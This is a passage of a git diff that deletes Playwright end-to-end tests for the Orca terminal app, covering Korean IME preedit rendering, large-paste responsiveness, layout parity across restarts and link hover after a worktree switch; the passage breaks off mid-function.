from './terminal-ime-platform-policy' - -const JAMO: Record = { - ㄷ: { key: 'ㄷ', code: 'KeyE', keyCode: 229 }, - ㅏ: { key: 'ㅏ', code: 'KeyK', keyCode: 229 } -} - -/** ㄷ → ㅏ assembles 다, which stays composing because a final consonant could still follow. */ -const DA_FRAMES = [ - { jamoKey: JAMO['ㄷ'], preedit: 'ㄷ' }, - { jamoKey: JAMO['ㅏ'], preedit: '다' } -] as const - -/** Cmd+Left resolves to Ctrl+A (readline start-of-line) — the chord from the report. */ -const CMD_LEFT_BYTE = '\x01' - -test.describe('Terminal 2-Set Korean composing-chord order', () => { - test('sends the composing syllable before a Cmd+Left pressed during it', async ({ - orcaPage, - testRepoPath - }, testInfo) => { - // Pin macOS policy so Cmd+Left emits Ctrl+A even on Linux; otherwise the missing chord byte makes this arm vacuous. - await applyImePlatformPolicy(orcaPage, 'mac') - await expectImePlatformPolicy(orcaPage, 'mac') - - const arena = await openTerminalImePaneArena(orcaPage) - const reader = createTerminalImeByteReader(testRepoPath, 1) - let completed = false - try { - await startTerminalImeByteReader(orcaPage, arena.ptyId, reader) - - await composeHangulSyllable(arena.session, orcaPage, DA_FRAMES) - - // Press during preedit; before the fix the chord overtook the earlier-typed 다. - await arena.session.send('Input.dispatchKeyEvent', { - type: 'rawKeyDown', - key: 'ArrowLeft', - code: 'ArrowLeft', - windowsVirtualKeyCode: 37, - nativeVirtualKeyCode: 37, - modifiers: 4 - }) - - await commitImeText(arena.session, '다') - // Let the held chord’s post-composition macrotask land before Enter terminates the reader line, preserving the measured pair. - await orcaPage.waitForTimeout(250) - await dispatchPlainEnter(arena.session) - - const received = await waitForTerminalImeBytes(orcaPage, reader) - expect(received).toEqual([Buffer.from(`다${CMD_LEFT_BYTE}\n`).toString('hex')]) - completed = true - } finally { - await closeTerminalImePaneArena(arena, testInfo, 'korean-composing-chord-order', !completed) - removeTerminalImeByteReader(reader) - } - }) -}) diff --git a/tests/e2e/terminal-korean-endofrow-preedit-cell-span.spec.ts b/tests/e2e/terminal-korean-endofrow-preedit-cell-span.spec.ts deleted file mode 100644 index 8ab6436fba0..00000000000 --- a/tests/e2e/terminal-korean-endofrow-preedit-cell-span.spec.ts +++ /dev/null @@ -1,142 +0,0 @@ -// #12729 measured a one-cell black block, inconsistent with a full-width Hangul preedit overlay. -// Measure real browser width: shrink-to-fit layout is invisible to zero-rect DOM emulators. -// Assert only a >one-cell floor because font fallback can span four cells; an exact two-cell band would pin the runner. -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { closeTerminalImePaneArena, openTerminalImePaneArena } from './terminal-ime-pane-arena' -import { setImeComposition } from './terminal-ime-cdp-composition' -import { - sampleMidlinePreeditOcclusion, - writeToActiveTerminal, - type MidlinePreeditOcclusionSample -} from './terminal-ime-midline-occlusion-probe' -import { samplePreeditOverlay } from './terminal-ime-preedit-overlay-probe' - -/** Below this the overlay is the one-cell block the report measured; above it, a full-width glyph. */ -const MIN_CELLS_FOR_A_FULL_WIDTH_SYLLABLE = 1.5 - -// Sample once after nonzero preedit readiness: a live shell can repaint the row after the composition frame. -async function sampleOpenComposition(page: Page): Promise { - await expect - .poll( - async () => { - const overlay = await samplePreeditOverlay(page) - return overlay.active && overlay.rect.width > 0 && overlay.text.startsWith('가') - }, - { message: 'the preedit never reached the overlay at a non-zero size' } - ) - .toBe(true) - return sampleMidlinePreeditOcclusion(page) -} - -function describeSpan(sample: MidlinePreeditOcclusionSample): string { - const cells = sample.cellWidth > 0 ? sample.overlayRect.width / sample.cellWidth : 0 - return `overlay ${sample.overlayRect.width}px over a ${sample.cellWidth}px cell = ${cells.toFixed(2)} cells, covering columns ${JSON.stringify(sample.coveredColumns)}` -} - -test.describe('Terminal end-of-row Korean preedit cell span', () => { - test('keeps the preedit caret inside the final terminal cell', async ({ orcaPage }, testInfo) => { - const arena = await openTerminalImePaneArena(orcaPage) - let completed = false - try { - // CHA clamps to the last column; xterm's wrap-pending cursor is the final-cell shape the - // composition helper itself clamps onto. - await writeToActiveTerminal(orcaPage, '\x1b[2J\x1b[H\x1b[999Gx') - await setImeComposition(arena.session, '가') - - const sample = await sampleOpenComposition(orcaPage) - const caret = sample.caretRect - const preedit = sample.preeditRect - const textarea = sample.textareaRect - const screenRight = sample.screenRect.left + sample.screenRect.width - expect(sample.cursorColumn, 'the cursor is not in the final column').toBe( - sample.terminalColumns - 1 - ) - expect(sample.rowTailFromCursor, 'the final committed cell is not under the cursor').toBe('x') - expect(sample.remainderText, 'the overlay lost the final committed cell').toBe('x') - expect(sample.remainderDisplay, 'the impossible tail still clips the preedit caret').toBe( - 'none' - ) - expect(sample.overlayText, 'the hidden tail still appears in the overlay').toBe('가') - expect(caret, 'the active preedit has no caret element').not.toBeNull() - expect(caret!.width, 'the preedit caret has zero width').toBeGreaterThan(0) - expect(caret!.height, 'the preedit caret has zero height').toBeGreaterThan(0) - expect( - caret!.left, - 'the preedit caret is clipped left of its overlay' - ).toBeGreaterThanOrEqual(sample.overlayRect.left - 0.5) - expect( - caret!.right, - 'the preedit caret overflows the terminal at the right edge' - ).toBeLessThanOrEqual(screenRight + 0.5) - expect(preedit, 'the active composition has no preedit element').not.toBeNull() - expect(textarea.width, 'the IME candidate anchor has zero width').toBeGreaterThan(0) - expect( - textarea.left, - 'the IME candidate anchor overflows the terminal at the left edge' - ).toBeGreaterThanOrEqual(sample.screenRect.left - 0.5) - expect( - textarea.right, - 'the IME candidate anchor overflows the terminal at the right edge' - ).toBeLessThanOrEqual(screenRight + 0.5) - expect( - textarea.right, - 'the IME candidate anchor is not aligned with the preedit right edge' - ).toBeCloseTo(preedit!.right, 0) - expect( - textarea.right, - 'the IME candidate anchor is not aligned with the caret right edge' - ).toBeCloseTo(caret!.right, 0) - expect( - textarea.right, - 'the IME candidate anchor is not aligned with the terminal right edge' - ).toBeCloseTo(screenRight, 0) - completed = true - } finally { - await closeTerminalImePaneArena( - arena, - testInfo, - 'korean-right-edge-preedit-caret', - !completed - ) - } - }) - - test('renders a composing syllable wider than the one cell #12729 measured', async ({ - orcaPage - }, testInfo) => { - const arena = await openTerminalImePaneArena(orcaPage) - let completed = false - try { - // 안녕하세요 spans ten cells, leaving the end-of-row overlay with only preedit, matching #12729. - await writeToActiveTerminal(orcaPage, '\x1b[2J\x1b[H안녕하세요') - await setImeComposition(arena.session, '가') - - const sample = await sampleOpenComposition(orcaPage) - expect(sample.rowTailFromCursor, 'text still sits after the cursor').toBe('') - expect(sample.cursorColumn, 'the cursor is not at the end of the committed run').toBe(10) - expect( - sample.cellWidth, - 'the grid reported no cell width to measure against' - ).toBeGreaterThan(0) - - // Require a full-width preedit wider than the reported single-cell block. - expect( - sample.overlayRect.width / sample.cellWidth, - `a composing Hangul syllable must occupy more than one cell — ${describeSpan(sample)}` - ).toBeGreaterThan(MIN_CELLS_FOR_A_FULL_WIDTH_SYLLABLE) - expect( - sample.coveredColumns, - `the overlay covers no grid columns to assert about — ${describeSpan(sample)}` - ).not.toBe(null) - completed = true - } finally { - await closeTerminalImePaneArena( - arena, - testInfo, - 'korean-endofrow-preedit-cell-span', - !completed - ) - } - }) -}) diff --git a/tests/e2e/terminal-korean-midline-preedit-occlusion.spec.ts b/tests/e2e/terminal-korean-midline-preedit-occlusion.spec.ts deleted file mode 100644 index c5ecf72f746..00000000000 --- a/tests/e2e/terminal-korean-midline-preedit-occlusion.spec.ts +++ /dev/null @@ -1,119 +0,0 @@ -// #12545: an opaque mid-line preedit covered 하 but drew only 가; require every covered committed cell to be rendered. -// Compare real overlay/grid geometry; textContent and zero-rect DOM emulators cannot distinguish occlusion. -// CDP drives composition without native IME; write the grid directly because this tests drawing rather than PTY delivery. -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { closeTerminalImePaneArena, openTerminalImePaneArena } from './terminal-ime-pane-arena' -import { setImeComposition } from './terminal-ime-cdp-composition' -import { - sampleMidlinePreeditOcclusion, - writeToActiveTerminal, - type MidlinePreeditOcclusionSample -} from './terminal-ime-midline-occlusion-probe' -import { samplePreeditOverlay } from './terminal-ime-preedit-overlay-probe' - -// Sample once after nonzero readiness, before the live shell can repaint the composition row. -// Readiness must ignore the tail so it passes both builds and leaves occlusion as the discriminating assertion. -async function sampleOpenComposition( - page: Page, - expectedPreedit = '가' -): Promise { - await expect - .poll( - async () => { - const overlay = await samplePreeditOverlay(page) - return overlay.active && overlay.rect.width > 0 && overlay.text.startsWith(expectedPreedit) - }, - { message: 'the preedit never reached the overlay at a non-zero size' } - ) - .toBe(true) - return sampleMidlinePreeditOcclusion(page) -} - -/** Reads as one string so a failure prints what the overlay covered next to what it drew. */ -function describeOcclusion(sample: MidlinePreeditOcclusionSample): string { - return `covers ${JSON.stringify(sample.hiddenByOverlay)} / renders ${JSON.stringify(sample.overlayText)}` -} - -// Require every covered committed cell in rendered text; font metrics change the covered span, so exact tail text would pin the runner. -function rendersEverythingItCovers(sample: MidlinePreeditOcclusionSample): boolean { - return sample.overlayText.includes(sample.hiddenByOverlay) -} - -test.describe('Terminal mid-line Korean preedit occlusion', () => { - test('masks a semantically owned Codex placeholder during its first Korean preedit', async ({ - orcaPage - }, testInfo) => { - const arena = await openTerminalImePaneArena(orcaPage) - let completed = false - try { - const placeholder = 'Ask Codex to do anything' - await writeToActiveTerminal( - orcaPage, - [ - '\x1b[2J\x1b[H\x1b[1m›\x1b[22m \x1b7', - `\x1b[2m${placeholder}\x1b[22m`, - '\r\n\r\n\x1b[2mgpt-5.6 · ~/repo\x1b[22m\x1b8' - ].join('') - ) - await setImeComposition(arena.session, '아') - - const sample = await sampleOpenComposition(orcaPage, '아') - expect(sample.cursorColumn, 'the cursor is not after the Codex prompt').toBe(2) - expect(sample.rowTailFromCursor, 'the Codex placeholder is not under the cursor').toBe( - placeholder - ) - expect( - sample.hiddenByOverlay, - `the opaque overlay does not mask the full placeholder — ${describeOcclusion(sample)}` - ).toBe(placeholder) - expect(sample.overlayText, 'the Codex placeholder is repeated after the preedit').toBe('아') - expect(sample.remainderText, 'the hidden span lost the placeholder width').toBe(placeholder) - expect(sample.remainderVisibility, 'the Codex placeholder is still painted').toBe('hidden') - completed = true - } finally { - await closeTerminalImePaneArena( - arena, - testInfo, - 'korean-codex-placeholder-preedit', - !completed - ) - } - }) - - test('renders the row tail it covers, so the character after the cursor stays readable', async ({ - orcaPage - }, testInfo) => { - const arena = await openTerminalImePaneArena(orcaPage) - let completed = false - try { - // 안녕하세요 then CUB 6 places the cursor on 하 (two cells per syllable). - await writeToActiveTerminal(orcaPage, '\x1b[2J\x1b[H안녕하세요\x1b[6D') - await setImeComposition(arena.session, '가') - - const sample = await sampleOpenComposition(orcaPage) - expect(sample.cursorColumn, 'the cursor is not sitting on 하').toBe(4) - expect(sample.rowTailFromCursor, 'the row under the overlay is not the repro').toBe('하세요') - expect(sample.coveredColumns, 'the overlay covers no grid columns to assert about').not.toBe( - null - ) - - expect( - sample.hiddenByOverlay.length, - `the overlay covers no committed text, so there is nothing to assert — ${describeOcclusion(sample)}` - ).toBeGreaterThan(0) - expect( - rendersEverythingItCovers(sample), - `the preedit overlay must render every committed cell it covers — ${describeOcclusion(sample)} ${JSON.stringify(sample)}` - ).toBe(true) - completed = true - } finally { - await closeTerminalImePaneArena( - arena, - testInfo, - 'korean-midline-preedit-occlusion', - !completed - ) - } - }) -}) diff --git a/tests/e2e/terminal-large-paste-responsiveness.spec.ts b/tests/e2e/terminal-large-paste-responsiveness.spec.ts deleted file mode 100644 index 30623be5936..00000000000 --- a/tests/e2e/terminal-large-paste-responsiveness.spec.ts +++ /dev/null @@ -1,164 +0,0 @@ -import { createHash, randomUUID } from 'node:crypto' -import { rmSync, writeFileSync } from 'node:fs' -import path from 'node:path' -import type { Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - focusActiveTerminalInput, - sendToTerminal, - waitForActivePanePtyId, - waitForActiveTerminalManager, - waitForTerminalOutput -} from './helpers/terminal' -import { - clearTerminalPtyWriteLog, - installTerminalPtyWriteSpy, - readTerminalPtyWriteEntries, - setTerminalPtyWriteDelay -} from './helpers/terminal-pty-write-spy' - -function keyboardPasteChord(): string { - return process.platform === 'darwin' ? 'Meta+V' : 'Control+V' -} - -function largePastePayload(runId: string): string { - return `ORCA_LARGE_PASTE_${runId}_0123456789abcdef`.repeat(4096) -} - -function sha256(text: string): string { - return createHash('sha256').update(text, 'utf8').digest('hex') -} - -function pasteReceiverScript(runId: string, expectedBytes: number, expectedHash: string): string { - return ` -const { createHash } = require('node:crypto') -process.stdin.setEncoding('utf8') -if (process.stdin.isTTY) process.stdin.setRawMode(true) -process.stdin.resume() -let received = '' -let done = false -const interrupt = String.fromCharCode(3) -process.stdout.write('LARGE_PASTE_READY_${runId}\\n') -process.stdin.on('data', (chunk) => { - if (chunk.includes(interrupt)) { - process.exit(0) - } - received += chunk - const normalized = received.replace(/\\x1b\\[200~|\\x1b\\[201~/g, '') - const byteLength = Buffer.byteLength(normalized, 'utf8') - if (!done && byteLength >= ${expectedBytes}) { - done = true - const digest = createHash('sha256').update(normalized, 'utf8').digest('hex') - process.stdout.write('LARGE_PASTE_DONE_${runId}:' + byteLength + ':' + digest + '\\n') - if (digest !== '${expectedHash}') { - process.stdout.write('LARGE_PASTE_HASH_MISMATCH_${runId}\\n') - } - } -}) -` -} - -async function installRendererHeartbeat(page: Page): Promise { - await page.evaluate(() => { - const global = window as unknown as { - __largePasteHeartbeat?: number - __largePasteHeartbeatTimer?: number - } - if (global.__largePasteHeartbeatTimer !== undefined) { - window.clearInterval(global.__largePasteHeartbeatTimer) - } - global.__largePasteHeartbeat = 0 - global.__largePasteHeartbeatTimer = window.setInterval(() => { - global.__largePasteHeartbeat = (global.__largePasteHeartbeat ?? 0) + 1 - }, 0) - }) -} - -async function readRendererHeartbeat(page: Page): Promise { - return page.evaluate(() => { - const global = window as unknown as { __largePasteHeartbeat?: number } - return global.__largePasteHeartbeat ?? 0 - }) -} - -async function stopRendererHeartbeat(page: Page): Promise { - await page.evaluate(() => { - const global = window as unknown as { - __largePasteHeartbeatTimer?: number - } - if (global.__largePasteHeartbeatTimer !== undefined) { - window.clearInterval(global.__largePasteHeartbeatTimer) - delete global.__largePasteHeartbeatTimer - } - }) -} - -test.describe('large terminal paste responsiveness', () => { - test('chunked keyboard paste keeps the renderer responsive while PTY writes are pending', async ({ - electronApp, - orcaPage, - testRepoPath - }) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - await installTerminalPtyWriteSpy(electronApp) - - const ptyId = await waitForActivePanePtyId(orcaPage) - const runId = randomUUID() - const payload = largePastePayload(runId) - const expectedBytes = Buffer.byteLength(payload, 'utf8') - const expectedHash = sha256(payload) - const doneLine = `LARGE_PASTE_DONE_${runId}:${expectedBytes}:${expectedHash}` - const scriptPath = path.join(testRepoPath, `.orca-large-paste-${runId}.cjs`) - writeFileSync(scriptPath, pasteReceiverScript(runId, expectedBytes, expectedHash)) - let scriptStarted = false - - try { - await sendToTerminal(orcaPage, ptyId, `node ${JSON.stringify(scriptPath)}\r`) - scriptStarted = true - await waitForTerminalOutput(orcaPage, `LARGE_PASTE_READY_${runId}`, 10_000) - - await orcaPage.evaluate((text) => window.api.ui.writeClipboardText(text), payload) - await clearTerminalPtyWriteLog(electronApp) - await setTerminalPtyWriteDelay(electronApp, 35) - await installRendererHeartbeat(orcaPage) - await focusActiveTerminalInput(orcaPage) - - const pasteKey = orcaPage.keyboard.press(keyboardPasteChord()) - await expect - .poll( - async () => - (await readTerminalPtyWriteEntries(electronApp)).filter((entry) => entry.id === ptyId) - .length, - { - timeout: 5_000, - message: 'Large paste did not enter the chunked PTY write path' - } - ) - .toBeGreaterThan(1) - - const heartbeatBefore = await readRendererHeartbeat(orcaPage) - await orcaPage.waitForTimeout(150) - const heartbeatAfter = await readRendererHeartbeat(orcaPage) - expect(heartbeatAfter).toBeGreaterThan(heartbeatBefore) - - await pasteKey - await waitForTerminalOutput(orcaPage, doneLine, 20_000, 12_000) - - const writes = (await readTerminalPtyWriteEntries(electronApp)).filter( - (entry) => entry.id === ptyId - ) - expect(writes.length).toBeGreaterThan(1) - } finally { - await setTerminalPtyWriteDelay(electronApp, 0).catch(() => undefined) - await stopRendererHeartbeat(orcaPage).catch(() => undefined) - if (scriptStarted) { - await sendToTerminal(orcaPage, ptyId, '\x03').catch(() => undefined) - } - rmSync(scriptPath, { force: true }) - } - }) -}) diff --git a/tests/e2e/terminal-layout-parity.spec.ts b/tests/e2e/terminal-layout-parity.spec.ts deleted file mode 100644 index a2daa7b8ddf..00000000000 --- a/tests/e2e/terminal-layout-parity.spec.ts +++ /dev/null @@ -1,339 +0,0 @@ -// Capture settled renderer topology and saved sessions for fixed journeys; run-terminal-layout-parity.mjs diffs two builds (see tests/e2e/AGENTS.md). - -import { mkdirSync, writeFileSync } from 'node:fs' -import path from 'node:path' -import type { ElectronApplication, Page, TestInfo } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { createRestartSession } from './helpers/orca-restart' -import { readPersistedProfileState } from './helpers/persisted-profile-state' -import { - moveTerminalPaneByLeafId, - readTerminalPaneDomLeafOrder, - splitActiveTerminalPane, - waitForActiveTerminalManager -} from './helpers/terminal' -import { - bootstrapFirstLaunch, - bootstrapRestoredLaunch, - seededRepoPathOrSkip -} from './helpers/terminal-restart-persistence' -import { createTerminalTabFromMenu, SORTABLE_TAB } from './helpers/terminal-tab-menu' -import { - addFolderWorkspace, - closeActivePaneFromKeyboard, - dragPaneOutToTabStrip, - waitForBoundPanes -} from './helpers/terminal-layout-journeys' -import { RuntimeClient } from '../../src/cli/runtime/client' -import type { RuntimeTerminalListResult } from '../../src/shared/terminal/runtime/runtime-terminal-contracts' -import { - TERMINAL_LAYOUT_PARITY_OUT_ENV, - type RawParityCheckpoint, - type RawParityCapture -} from './terminal-layout-parity-snapshot' - -test.describe.configure({ mode: 'serial' }) - -type Journey = { - page: Page - worktreeId: string - userDataDir: string -} - -/** Renderer topology for every worktree that has terminal tabs, plus mounted PaneManager DOM order. */ -function readRendererLayout(page: Page): Promise { - return page.evaluate(() => { - const state = window.__store!.getState() - const worktreeIds = Object.keys(state.tabsByWorktree).filter( - (id) => (state.tabsByWorktree[id] ?? []).length > 0 - ) - const pick = (map: Record): Record => - Object.fromEntries(worktreeIds.filter((id) => id in map).map((id) => [id, map[id]])) - const tabIds = worktreeIds.flatMap((id) => state.tabsByWorktree[id]!.map((tab) => tab.id)) - const mountedPanesByTabId = Object.fromEntries( - tabIds.flatMap((tabId) => { - const manager = window.__paneManagers?.get(tabId) - if (!manager) { - return [] - } - const containers = new Set(manager.getPanes().map((pane) => pane.container)) - const leafOrder = Array.from(document.querySelectorAll('.pane[data-leaf-id]')) - .filter((element) => containers.has(element)) - .map((element) => element.dataset.leafId ?? '') - const active = manager.getActivePane() - return [[tabId, { leafOrder, activeLeafId: active ? manager.getLeafId(active.id) : null }]] - }) - ) - return { - activeWorktreeId: state.activeWorktreeId, - activeTabId: state.activeTabId, - activeTabType: state.activeTabType, - tabsByWorktree: pick(state.tabsByWorktree), - terminalLayoutsByTabId: Object.fromEntries( - tabIds.map((tabId) => [tabId, state.terminalLayoutsByTabId[tabId] ?? null]) - ), - ptyIdsByTabId: Object.fromEntries(tabIds.map((tabId) => [tabId, state.ptyIdsByTabId[tabId]])), - unifiedTabsByWorktree: pick(state.unifiedTabsByWorktree), - groupsByWorktree: pick(state.groupsByWorktree), - layoutByWorktree: pick(state.layoutByWorktree), - activeTabIdByWorktree: pick(state.activeTabIdByWorktree), - activeGroupIdByWorktree: pick(state.activeGroupIdByWorktree), - mountedPanesByTabId - } - }) -} - -/** Host pacing: quit only after main lists exactly the terminals the renderer shows. */ -async function waitForHostTerminals(journey: Journey): Promise { - const client = new RuntimeClient(journey.userDataDir, 30_000) - const shown = await journey.page.evaluate((worktreeId) => { - const state = window.__store!.getState() - return (state.tabsByWorktree[worktreeId] ?? []).reduce((count, tab) => { - const leafIds = state.terminalLayoutsByTabId[tab.id]?.ptyIdsByLeafId ?? {} - return count + Math.max(1, Object.keys(leafIds).length) - }, 0) - }, journey.worktreeId) - await expect - .poll( - async () => { - const listed = await client - .call('terminal.list', { - worktree: `id:${journey.worktreeId}` - }) - .catch(() => null) - return listed?.result.terminals.length ?? -1 - }, - { timeout: 30_000, message: 'Host terminal list never matched the renderer' } - ) - .toBe(shown) -} - -/** Quiescence: the same layout on three consecutive reads, so a late echo cannot land after capture. */ -async function readSettledRendererLayout(page: Page): Promise { - let previous = '' - let stableReads = 0 - let latest: unknown = null - await expect - .poll( - async () => { - latest = await readRendererLayout(page) - const serialized = JSON.stringify(latest) - stableReads = serialized === previous ? stableReads + 1 : 0 - previous = serialized - return stableReads - }, - { timeout: 20_000, intervals: [300], message: 'Renderer layout never settled' } - ) - .toBeGreaterThanOrEqual(2) - return latest -} - -function readPersistedSessions(userDataDir: string): unknown { - const root = readPersistedProfileState(userDataDir) - return { local: root.workspaceSession, byHostId: root.workspaceSessionsByHostId ?? {} } -} - -function writeCapture(testInfo: TestInfo, capture: RawParityCapture): void { - const outDir = process.env[TERMINAL_LAYOUT_PARITY_OUT_ENV] ?? testInfo.outputPath('parity') - mkdirSync(outDir, { recursive: true }) - writeFileSync( - path.join(outDir, `${capture.scenario}.json`), - `${JSON.stringify(capture, null, 2)}\n` - ) -} - -type ScenarioSetup = { - worktreeId: string - pathLabels?: Record - cleanup?: () => void -} - -type ParityScenario = { - id: string - setup?: (page: Page) => Promise - journey: (journey: Journey) => Promise - /** Relaunch (`times`, default once) and capture each restored renderer and the next save. */ - restart?: { expectedPaneCount: number; times?: number } -} - -/** Quit through the shared helper and report how the process ended; a forced kill skips the final save. */ -async function quitAndReadExit( - session: ReturnType, - app: ElectronApplication -): Promise<{ code: number | null; signal: string | null }> { - const proc = app.process() - const exited = new Promise<{ code: number | null; signal: string | null }>((resolve) => { - if (proc.exitCode !== null || proc.signalCode !== null) { - resolve({ code: proc.exitCode, signal: proc.signalCode }) - } - proc.once('exit', (code, signal) => resolve({ code, signal })) - }) - await session.close(app) - return exited -} - -/** Launch on a fresh profile, run the journey, capture the settled renderer, quit and read the save. */ -async function runScenario(testInfo: TestInfo, scenario: ParityScenario): Promise { - const repoPath = seededRepoPathOrSkip() - const session = createRestartSession(testInfo) - const checkpoints: RawParityCheckpoint[] = [] - let app: ElectronApplication | null = null - let setup: ScenarioSetup | null = null - try { - const first = await session.launch() - app = first.app - setup = scenario.setup - ? await scenario.setup(first.page) - : await bootstrapFirstLaunch(first.page, repoPath) - await waitForBoundPanes(first.page, 1) - const journey = { - page: first.page, - worktreeId: setup.worktreeId, - userDataDir: session.userDataDir - } - await scenario.journey(journey) - await waitForHostTerminals(journey) - const renderer = await readSettledRendererLayout(first.page) - const exit = await quitAndReadExit(session, app) - app = null - const persisted = readPersistedSessions(session.userDataDir) - checkpoints.push({ label: 'after-quit', renderer, persisted, exit }) - - const { expectedPaneCount = 0, times: restarts = 1 } = scenario.restart ?? { times: 0 } - for (let restart = 1; restart <= restarts; restart += 1) { - const next = await session.launch() - app = next.app - await bootstrapRestoredLaunch(next.page, setup.worktreeId) - await waitForBoundPanes(next.page, expectedPaneCount) - const restored = await readSettledRendererLayout(next.page) - const restartExit = await quitAndReadExit(session, app) - app = null - checkpoints.push({ - label: restart === 1 ? 'after-restart' : `after-restart-${restart}`, - renderer: restored, - persisted: readPersistedSessions(session.userDataDir), - exit: restartExit - }) - } - writeCapture(testInfo, { - scenario: scenario.id, - pathLabels: { - [repoPath]: '', - [session.userDataDir]: '', - ...setup.pathLabels - }, - checkpoints - }) - } finally { - if (app) { - await session.close(app) - } - await session.dispose() - setup?.cleanup?.() - } -} - -async function splitTwice(page: Page): Promise { - await splitActiveTerminalPane(page, 'vertical') - await waitForBoundPanes(page, 2) - await splitActiveTerminalPane(page, 'horizontal') - await waitForBoundPanes(page, 3) -} - -async function splitThenNewTab(page: Page): Promise { - await splitActiveTerminalPane(page, 'vertical') - await waitForBoundPanes(page, 2) - await createTerminalTabFromMenu(page) - await waitForActiveTerminalManager(page) - await waitForBoundPanes(page, 1) -} - -const SCENARIOS: ParityScenario[] = [ - { - id: 'create-tab', - journey: async ({ page }) => { - await createTerminalTabFromMenu(page) - await waitForActiveTerminalManager(page) - await waitForBoundPanes(page, 1) - } - }, - { id: 'split-right-down', journey: ({ page }) => splitTwice(page) }, - { - id: 'close-pane', - journey: async ({ page }) => { - await splitTwice(page) - await closeActivePaneFromKeyboard(page, 3) - await waitForBoundPanes(page, 2) - } - }, - { - id: 'close-tab', - journey: async ({ page }) => { - await createTerminalTabFromMenu(page) - await waitForActiveTerminalManager(page) - await expect(page.locator(SORTABLE_TAB)).toHaveCount(2) - const firstTab = page.locator(SORTABLE_TAB).first() - await firstTab.getByRole('button', { name: /^Close tab /i }).click() - await expect(page.locator(SORTABLE_TAB)).toHaveCount(1) - await waitForActiveTerminalManager(page) - } - }, - { - id: 'reorder-panes', - journey: async ({ page }) => { - await splitActiveTerminalPane(page, 'vertical') - await waitForBoundPanes(page, 2) - const [firstLeaf, secondLeaf] = await readTerminalPaneDomLeafOrder(page) - await moveTerminalPaneByLeafId(page, secondLeaf!, firstLeaf!, 'left') - await expect.poll(() => readTerminalPaneDomLeafOrder(page)).toEqual([secondLeaf, firstLeaf]) - } - }, - { - // Main-originated: the runtime RPC the CLI uses, not a renderer gesture. - id: 'cli-split', - journey: async ({ page, worktreeId, userDataDir }) => { - const client = new RuntimeClient(userDataDir, 30_000) - let handle: string | null = null - await expect - .poll(async () => { - const listed = await client - .call('terminal.list', { worktree: `id:${worktreeId}` }) - .catch(() => null) - handle = listed?.result.terminals[0]?.handle ?? null - return handle - }) - .not.toBeNull() - await client.call('terminal.split', { terminal: handle, direction: 'horizontal' }) - await waitForBoundPanes(page, 2) - } - }, - { - id: 'drag-out-to-tab', - journey: async (journey) => { - const { page } = journey - await splitActiveTerminalPane(page, 'vertical') - await waitForBoundPanes(page, 2) - const [, secondLeaf] = await readTerminalPaneDomLeafOrder(page) - await dragPaneOutToTabStrip(page, journey.worktreeId, secondLeaf!) - await expect(page.locator(SORTABLE_TAB)).toHaveCount(2) - await waitForActiveTerminalManager(page) - await waitForBoundPanes(page, 1) - }, - restart: { expectedPaneCount: 1, times: 2 } - }, - { - id: 'restart-restore', - journey: ({ page }) => splitThenNewTab(page), - restart: { expectedPaneCount: 1 } - }, - { - id: 'folder-workspace', - setup: addFolderWorkspace, - journey: ({ page }) => splitThenNewTab(page) - } -] - -for (const scenario of SCENARIOS) { - // oxlint-disable-next-line no-empty-pattern -- Each scenario owns its launches through createRestartSession. - test(`parity: ${scenario.id}`, async ({}, testInfo) => runScenario(testInfo, scenario)) -} diff --git a/tests/e2e/terminal-link-hover-after-worktree-return.spec.ts b/tests/e2e/terminal-link-hover-after-worktree-return.spec.ts deleted file mode 100644 index c618c00211f..00000000000 --- a/tests/e2e/terminal-link-hover-after-worktree-return.spec.ts +++ /dev/null @@ -1,320 +0,0 @@ -import { randomUUID } from 'node:crypto' -import { rmSync, writeFileSync } from 'node:fs' -import path from 'node:path' -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { - ensureTerminalVisible, - getAllWorktreeIds, - switchToWorktree, - waitForActiveWorktree, - waitForSessionReady -} from './helpers/store' -import { - getTerminalContent, - sendToTerminal, - waitForActivePanePtyId, - waitForActiveTerminalManager -} from './helpers/terminal' -import { waitForPtyShellEcho } from './terminal-pty-readiness' - -// After worktree hide, Linkifier clears currentLink but retains _lastBufferCell; returning to the same cell skips providers until scroll. -// File-path links lack a compensating click fallback, so require relinkification on reveal. -type HoverProbe = { col: number; row: number; tabId: string } - -async function locateHoverProbe(page: Page, needle: string): Promise { - return page.evaluate((needle) => { - const state = window.__store?.getState() - const worktreeId = state?.activeWorktreeId ?? null - const tabId = - state?.activeTabType === 'terminal' - ? (state?.activeTabId ?? null) - : worktreeId - ? (state?.activeTabIdByWorktree?.[worktreeId] ?? null) - : null - const manager = tabId ? window.__paneManagers?.get(tabId) : null - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - if (!tabId || !pane) { - throw new Error('active terminal pane unavailable') - } - const terminal = pane.terminal - const buffer = terminal.buffer.active - let hit: { row: number; col: number } | null = null - for (let row = 0; row < terminal.rows; row += 1) { - const line = buffer.getLine(buffer.viewportY + row) - if (!line) { - continue - } - const idx = line.translateToString(true).indexOf(needle) - if (idx !== -1) { - hit = { row, col: idx } - break - } - } - if (!hit) { - throw new Error('link text not visible in terminal viewport') - } - const screen = terminal.element?.querySelector('.xterm-screen') - if (!screen) { - throw new Error('xterm-screen element unavailable') - } - // Aim at link center to tolerate rounding. - return { - col: hit.col + Math.floor(needle.length / 2), - row: hit.row, - tabId - } - }, needle) -} - -// Dispatch hover and return the active link; poll because file-path candidates resolve asynchronously. -async function hoverAndReadActiveLinkText(page: Page, probe: HoverProbe): Promise { - await page.evaluate(({ col, row, tabId }) => { - const manager = window.__paneManagers?.get(tabId) - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - const screen = pane?.terminal.element?.querySelector('.xterm-screen') - if (!pane || !screen) { - throw new Error('xterm-screen element unavailable') - } - const rect = screen.getBoundingClientRect() - const clientX = rect.left + (col + 0.5) * (rect.width / pane.terminal.cols) - const clientY = rect.top + (row + 0.5) * (rect.height / pane.terminal.rows) - screen.dispatchEvent( - new 